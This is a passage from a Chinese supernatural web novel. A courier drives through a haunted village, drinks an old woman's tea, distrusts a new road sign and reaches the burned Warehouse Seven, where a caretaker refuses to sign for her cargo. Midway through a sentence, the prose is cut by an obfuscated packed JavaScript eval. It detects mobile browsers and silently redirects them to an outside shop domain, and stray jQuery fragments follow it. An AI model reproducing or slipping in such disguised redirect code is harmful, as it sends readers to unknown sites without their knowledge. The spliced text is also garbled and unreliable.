车吼着冲到跟前，离那排人不到十米。
姜迟没有踩刹车。
她的想法很简单。
这些是人也好，不是人也好，站在路中间拦车，撞就是了。
她不相信什么东西能正面撞飞一吨半的货车。
车头扎进人群的那一瞬间，她看清了。
那些人没躲。中年男人站在最前面，脸上没有一点怕的意思，甚至往前迎了一步。
然后车穿了过去。
像穿过一层凉雾。方向盘上没有撞击感，没有颠簸，人影贴着车身两边散开，又在她身后合拢。
她从后视镜里看见，那排人完好无损，全都转过身，继续站在那，看着她。
中年男人又举起那个本子，挥了挥。
"闺女，卸货区搬村里来了。"
姜迟的手心全是汗。撞不上，压不着，这车对这些影子没用。
她的眼睛扫过村口。路牌底下，进村的主道被人影堵死了，左边是村口的水塘，右边是一条窄巷，勉强能过车。
导航的红色路线直直穿过村子，穿过那些人，指向村子深处。
她打了一把方向，车头扎进窄巷。
窄巷两边是高墙，车两侧离墙不到半尺，后视镜擦着墙皮过去。巷子深处黑着，没有灯，她全靠车灯往前拱。
后视镜里，那排人影动了。
他们没有追进巷子，而是沿着巷子两边的外墙，跟着车走。她能看见墙头上的人影，一个跟着一个，不快不慢，始终跟她平行。
手机在口袋里震动。
她单手掏出来看了一眼。
【订单剩余时间：二十八分钟。】
【提示：当前路线预计用时：三十一分钟。】
姜迟的心沉了下去。
绕路了。主道被堵，她拐了窄巷，导航重新算了一遍，差三分钟。三分钟，超时抹杀。
她踩油门，巷子里速度快不起来，墙上的人影贴得更近了，近到她能看见那些没有五官的脸上，嘴的位置在动，一张一合，像在齐声说什么。
没有声音。她在车里听不见。
窄巷尽头是一个岔口。导航显示左拐，左拐后直行，出村，再绕一段机耕道，就能回到红路线上。
她左拐，车头摆正。
前方有人。
一个老太太，坐在路中间的小马扎上，背对着她，面前摆着一个小炉子，炉子上坐着一把水壶，水汽呼呼地冒。
这条路只有两米宽，老太太往中间一坐，车根本过不去。
姜迟按喇叭。
这次喇叭响了，一声，很哑。墙头上那些人影齐刷刷停住。
老太太没回头。
姜迟又按了一声："大娘，让让路。"
老太太还是不回头。她拿着一把蒲扇，扇着火，水壶的水开了，她提起水壶，往地上的一个大搪瓷缸子里倒水。
姜迟下车，走过去。
"大娘，我赶时间，您让一下。"
老太太倒完水，把缸子递过来，这才抬头看她。
"喝了水就走。"老太太说，"急什么。"
"我超时就死了。"
"死不了。"老太太说，"喝口水死不了。"
姜迟盯着那只搪瓷缸子。
缸子很旧，搪瓷掉了大半，露出黑铁皮。水面上漂着几片茶叶，热气腾腾。
她想起服务区那杯水，想起白荷，想起老头。
这条路上的东西给她吃的喝的，给一次，拿一次，没有白给的。
"我不渴。"她说。
"不渴也得喝。"老太太把缸子又往前递了递，"这是规矩。进村一口水，出村一口饭。你绕了我的道，喝我一口水，两清。"
"我不进村。"姜迟说，"我借道。"
"借道也是道。"老太太说，"你刚才那一脚油门，压了我家门口的路钱。喝了水，路钱勾销。不喝，你今天就停在这，哪也去不了。"
姜迟回头看了一眼车。墙头上的人影已经不动了，全都伏在墙头，看着她，等结果。
她接过缸子，喝了一口。
水是温的，茶叶很苦，喝下去之后，喉咙里反而返上来一股甜。
"行了。"她把缸子还回去，"路钱两清，您让让。"
老太太接过缸子，端着马扎往旁边挪了挪，挪到墙根底下。
"后生，"她忽然说，"你车上拉的，是个囫囵东西。别让人拆了它。"
姜迟脚步一顿："您知道箱子里是什么？"
"不知道。"老太太说，"我只知道，拆过它的都死了。上一个拉它的，死在村东头的仓里。"
姜迟不再问了，上车，关门，继续往前开。
老太太的声音从后面飘过来："出了这条巷，别信路牌。"
巷口到了。
前方豁然开朗，村道汇进了一条宽路，宽路的右边立着一块新路牌，白底黑字：七号仓，直行三百米。
红路线的箭头，正指着路牌指的方向。
导航提示："沿当前路线行驶三百米，到达收货地。"
三百米。时间还剩二十一分钟。够了。
姜迟却没有动。
她想起老太太那句话，别信路牌。
想起白荷说的，面单会骗人，导航会骗人。
想起备注栏写的，查验即验收，验收即收货，收货的不是你。
收货地青岭村七号仓。白荷说过，七号仓十年前就烧了，烧死了一仓的人。
她盯着那块崭新的路牌。漆很亮，字很白，立在路边，底座的水泥都还是新的。
哪有一点废弃十年的样子。
可红路线就指着那。
姜迟把车靠边停住，掏出手机看订单界面。备注栏安安静静，请准时送达，四个字，没有新字浮出来。
她等了几秒，备注栏没动静。
"你倒是说句话。"她说。
屏幕不理她。
时间还剩十九分钟。走主路牌方向，三百米，五分钟能到，顺利的话还能提前。
可这一路走来她学乖了，越顺的路，埋的钩子越深。
她想起硬币。
摸出硬币，放在方向盘上。
硬币凉凉的，没有发烫，那圈花纹暗着，不转，不亮。
"走那边是对的？"
硬币不动。
"这边是错的？"
硬币还是不动。
姜迟把硬币收回来，忽然明白了。硬币不烫，不指路，意思就是这地方没有需要它救的急。
路牌这个坑，是留给她自己看的，看得懂就绕，看不懂就踩。
她抬起头，重新看路。
宽路直行，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947434|214093||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
通村东。左边有一条更窄的土路，路边杂草长得老高，车轮印几乎没有，像很多年没人走过。
导航拼命提示："请掉头，回到规划路线。"
姜迟打了把方向，车头扎进土路。
导航的声音变了，机械女声第一次有了起伏，急了："偏离路线。请掉头。偏离路线。请掉头。"
"闭嘴。"姜迟说。
土路很颠，车开进去，两旁的杂草刷着车门。开了大概两百米，前方豁然开朗，一片烧塌的黑地出现在车灯里。
塌墙，焦木，烧成炭的梁。这就是七号仓的遗址，面积有一个篮球场大，废墟正中立着半截砖墙，墙上挂着一块烧变形的铁牌，牌上还能认出几个字：青岭七号仓。
姜迟把车停在废墟边上。
手机震动。
【已到达真实收货地。请卸货，等待收货人。】
真实收货地。她猜对了。
她下车，走到车尾，开锁，放下尾板。
木箱还在车厢里，一起一伏，呼吸声比来时粗重了些，箱板上的黄纸边角翘了起来。
她爬上车厢，刚要去推箱子，动作停住了。
废墟里有人。
砖墙后头走出来一个人影，走得很慢。
车灯照过去，那人抬起手挡了挡光，继续走，一直走到她车尾两米开外，站定。
是个老头，七十岁上下，穿着一身洗得发白的中山装，手里拄着根扁担。
"货到几天了？"老头问。
"今晚刚发的。"姜迟说，"您是收货人？"
"我是看仓的。"老头说，"仓烧了，收货的牌没烧。我替上头看着这块地。"
"那签收？"
"不签。"老头说，"这单我不收。"
姜迟愣了："您不收，我订单完不成，超时要死人的。"
"你打开箱子，把里头的东西给我看，我验明了，就签。"老头说，"不然这单，你走哪都交不掉。"
又是验货。
姜迟从车厢上跳下来，站在老头对面："规则二，货物不可查看，偷看者死。您要是真收货人，就该知道这规矩。"
"我知道。"老头说，"所以这单我收不了。等能开这个箱的人来吧。"
"那我能等吗？我的时间不够了。"
"你的时间够。"老头抬起扁担，指了指她的车，"你看看你的表。"
姜迟回头看仪表盘。
里程表。
她发车的时候，里程表清清楚楚记着出发的数。现在，那个数字变了，在她的注视下，最后一位跳了一下，往上走了一格。
她盯着看。车停着没动，里程表自己往上跳。一格，停几秒，又一格。
老头说："你进村之前，欠这路一公里。你喝了那口水，水钱勾了，路钱没勾。这路记仇，它让你多走一公里。你的订单时间，也跟着这一公里走。"
姜迟抬头看订单倒计时。
十九分钟，变成二十分钟，二十一分钟，还在往上涨。
"多出来的一公里，"老头说，"你走完了，时间才往下走。你要是原地待着，你的时间，就永远是满的。"
"那我要等到什么时候？"
"等那个能开箱的人来。"老头把扁担往地上一杵，"或者，你问问自己，你真想把它交出去吗？"